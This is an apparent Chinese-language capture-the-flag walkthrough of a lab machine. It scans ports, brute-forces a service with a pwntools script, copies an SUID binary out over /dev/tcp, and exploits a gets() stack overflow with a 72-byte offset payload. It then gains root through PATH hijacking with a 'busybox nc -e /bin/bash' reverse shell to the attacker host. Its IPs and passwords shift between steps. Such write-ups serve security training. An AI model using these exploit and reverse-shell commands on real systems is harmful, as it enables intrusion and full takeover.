正文
kali攻击机地址:192.168.67.181
靶场地址:192.168.67.176
一、端口扫描与代码审计
在kali里,使用nmap工具:
bash
nmap 192.168.67.176 -p-

访问80端口,代码审计能发现密码:thehackerlabs

针对1337端口,nc连接过去:

看要求,还要写随机数。
二、编写pwn脚本跑随机数
构造一个随机数的脚本:
python
from pwn import *
import re
for i in range(1000):
r = remote("192.168.67.176",1337)
r.recvuntil(b'Please enter password: ')
r.sendline(b'thehackerlabs')
r.recvuntil(b'Please enter a number (1-1000): ')
r.sendline(b'500')
a = r.recvall().decode()
if 'Wrong' not in a:
print(a)
break
最后跑出来用户名和密码welcome/vulnyx:

在opt目录下发现可以提权的程序todd:

bash
-rwsr-sr-x 1 root root 16952 Jun 16 2025 todd
-
-普通二进制程序(红色文件名,setuid/setgid 标记高亮) -
第 4 位 s:Set‑UID 位(SUID)
- 文件属主是 root,设置 SUID 后:不管哪个普通用户运行这个 todd 程序,进程都会以文件所有者 root 身份执行
-
第 7 位 s:Set‑GID 位(SGID)
- 运行时进程使用文件所属组 root 的权限
✨CTF 考点:SUID 提权
普通用户执行
./todd,程序运行身份 = root,如果程序有漏洞,就可以拿到 root 权限。
权限拆解:-rw s r‑ s r‑x
- 属主权限 rw- + SUID (s) → rw s
- 用户组权限 r-- + SGID (s) → r‑ s
- 其他用户 r‑x:任何人都可读、可执行
三、文件传输逆向分析todd程序
先分析一下这个todd程序是干什么的,用攻击机接收:
python
nc -lp 1234 > todd

靶机上传:
python
cat todd > /dev/tcp/192.168.67.181/1234

四、ida逆向发现todd可劫持命令函数,计算偏移量
用ida 软件打开,对着main函数F5反编译一下:

进入vulnerable()函数 里:

这里可以看出,使用gets函数,会导致栈溢出。
在靶机里,使用pwndbg工具调式,计算一下偏移量。
bash
pwndbg todd
r

在攻击机里生成100个数字,测试偏移量
bash
msf-pattern_create -l 100

可以看到在靶机里,将字符串Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A写入地址0x7ffeecc7b3a8时,发生栈溢出了。

那我们在攻击机里,计算一下偏移量:
bash
msf-pattern_offset -q Ac4A

证明偏移量是72,那就得生成72个字符A,并生成4字节B:
bash
perl -le 'print "A"x72 . "BBBB"'

生成如下字符:
bash
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
五、靶机端口代理出来,编写exp脚本连接上去做路径劫持操作,获取flag。
先在靶机里做一个端口转发:
bash
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

再到IDA里,找到todd函数的地址,F5反编译后,空格键,tab键能找到调用todd函数的地址:

编写exp,并在攻击机里运行:
python
from pwn import *
import re
r = remote("192.168.31.133",12345)
r.recvuntil(b'Enter password: ')
r.sendline(b'hackmyvm')
junk = b'A' * 72
todd = p64(0x4011B2)
payload = junk + todd
r.sendline(payload)
r.interactive()

可以看到执行了靶机里同目录下的a.txt文件。

所以我们可以在靶机上,去临时目录下做一个自己创造的head程序,骗靶机去执行我们的head。
操作如下:
bash
cd /tmp
echo 'busybox nc 192.168.31.188 1234 -e /bin/bash' > head
chmod +x head
export PATH=/tmp:$PATH
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0
攻击机再开一个窗口,监听1234端口:
bash
nc -lp 1234
id

成功获取到flag:
